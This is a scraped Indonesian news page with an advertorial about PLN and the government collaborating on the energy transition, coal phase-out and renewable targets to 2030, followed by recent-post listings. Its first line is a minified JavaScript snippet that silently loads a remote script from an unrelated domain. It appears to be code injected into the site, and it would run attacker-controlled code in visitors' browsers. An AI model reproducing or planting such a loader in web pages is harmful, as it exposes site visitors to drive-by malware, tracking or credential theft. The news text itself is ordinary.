(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
PLN UIP3B KALIMANTAN

Transisi Energi, PLN-Pemerintah Gotong Royong Ciptakan Energi Bersih


KANALKALIMANTAN.COM, JAKARTA – PT PLN (Persero) siap berkolaborasi bersama pemerintah dan berbagai pihak untuk menjalankan program transisi energi.

Langkah ini dilakukan untuk mewujudkan terciptanya energi dan lingkungan yang bersih serta mencapai target net zero emission (NZE) di 2060.

Direktur Jenderal Energi Baru, Terbarukan, dan Konservasi Energi (EBTKE) Kementerian Energi dan Sumber Daya Mineral (ESDM), Dadan Kusdiana mengatakan, dalam mewujudkan NZE di 2060 diperlukan peran aktif dari semua pihak termasuk PLN sebagai perusahaan negara di sektor energi. Pemerintah siap mendukung dari sisi pembuatan kebijakan dari hulu sampai ke hilir.

“Kita sudah mulai dengan dua program. Satu program penurunan gas rumah kaca, satu lagi program untuk mendorong Energi Baru Terbarukan (EBT) dan ini sekarang sudah menjadi program nasional yang dikemas menjadi program net zero emission,” ujar Dadan dalam acara Forum Transisi Energi ‘Strategi Transisi Energi Indonesia’ di Jakarta, Kamis (22/12/2022).

 

 

Baca juga: Ini Utang KPK, 5 Buronan Koruptor Belum Tertangkap

Dadan menjelaskan, dari sisi hulu pemerintah mengeluarkan kebijakan pensiun dini dan moratorium pada beberapa pembangkit listrik yang menggunakan batu bara. Sebagai gantinya, pembangkit listrik bisa menggunakan sumber energi yang ramah lingkungan.

Kebijakan tersebut tertuang dalam Rencana Usaha Penyediaan Tenaga Listrik (RUPTL) hingga 2021-2030. Langkah ini dilakukan untuk memastikan agar energi yang tersedia untuk dikonsumsi masyarakat bisa lebih bersih.

Sementara dari sisi hilir, pemerintah membuat sebuah kebijakan berupa percepatan penggunaan energi bersih di masyarakat. Contohnya adalah penggunaan kendaraan listrik.

“Dari sisi hilir, kita dorong pemanfaatan BBM digeser ke listrik. Kita geser pemanfaatan bahan bakar di rumah tangga dari LPG ke listrik, karena listriknya sudah semakin bersih, sehingga di sisi hilir pun akan semakin bersih,” jelas Dadan.

Baca juga: Mahasiswa UIN Antasari Belajar Preservasi Konservasi Bahan Pustaka di Perpustakaan Palnam

Direktur Utama PLN, Darmawan Prasodjo mengatakan, perseroan siap mendukung penuh kebijakan pemerintah dalam mendorong transisi energi. Sebab menurutnya, untuk menciptakan lingkungan yang bersih lewat transisi energi diperlukan kolaborasi semua pihak.

“Perubahan iklim ini bukan hanya menjadi permasalahan Indonesia saja, tapi ini adalah global problem. Untuk itu, kita tidak mungkin menghadapi permasalahan ini dengan suasana kesendirian,” kata Darmawan.

Dari sisi PLN kata Darmawan, sudah melakukan beberapa langkah inisiatif untuk mengurangi gas rumah kaca. Misalnya adalah lewat RUPTL 2021-2030, PLN menghapus PLTU berbahan batu bara yang sudah masuk dalam perencanaan.

Selain itu, PLN berkomitmen untuk terus mengakselerasi pembangunan pembangkit listrik yang berbasis EBT. PLN menargetkan 51,6 persen pembangkit berbasis EBT di tahun 2030 mendatang.

“RUPTL terhijau itu sangat agresif. Untuk pertama kalinya penambahan pembangkit sampai 2030 itu 51,6 persen berbasis pada EBT, artinya ada 20,9 GW additional capacity pembangkit EBT dibangun sampai 2030,” kata Darmawan.

Baca juga: Ini Utang KPK, 5 Buronan Koruptor Belum Tertangkap

Darmawan menambahkan, PLN juga sudah melakukan inovasi co-firing dengan menggunakan biomassa. Inovasi ini merupakan langkah PLN untuk melibatkan masyarakat dalam menciptakan energi bersih.

“Kami membangun rantai pasoknya sehingga energi hijau berbasis ekonomi kerakyatan ini dapat menciptakan lapangan kerja,” kata Darmawan.

Di sisi lain kata Darmawan, PLN juga sudah menyiapkan beberapa langkah pada internal perusahaan. Seperti melakukan reformasi organisasi dan peningkatan kompetensi dan skill para pegawainya.

“Kami melakukan reformasi dari sisi organisasi sehingga dari yang tadinya statis menjadi dinamis. Sehingga organisasi bisa lebih relevan dengan tantangan masa depan yaitu energi hijau,” pungkas Darmawan. (Kanalkalimantan.com/adv)

Reporter : adv
Editor : kk


Risa

Recent Posts

Status Internasional Dicabut, Bandara Syamsudin Noor Tetap Jadi Embarkasi Haji

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More

28 menit ago

Syarat Calon Non Partai Pilkada Banjarmasin Wajib Miliki 41 Ribu KTP Dukungan

KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More

2 jam ago

MUI Banjar Berikan Pembekalan kepada Jemaah Calon Haji Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More

2 jam ago

Pj Bupati HSU Pimpin Peringatan Hardiknas 2024

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) menggelar peringatan Hari Pendidikan Nasional (Hardiknas)… Read More

2 jam ago

Kontrol Overpopulasi Kucing Beranak Pinak di Banjarbaru, 150 Pejantan Dikebiri

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 150 ekor kucing jantan di Kota Banjarbaru, Kalimantan Selatan (Kalsel) mendapat… Read More

5 jam ago

Dominasi Golkar di Rumah Banjar, Ini 55 Calon Terpilih Anggota DPRD Kalsel 2024-2029

KANALKALIMANTAN.COM, BANJARMASIN - Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel) resmi menetapkan perolehan kursi… Read More

6 jam ago

This website uses cookies.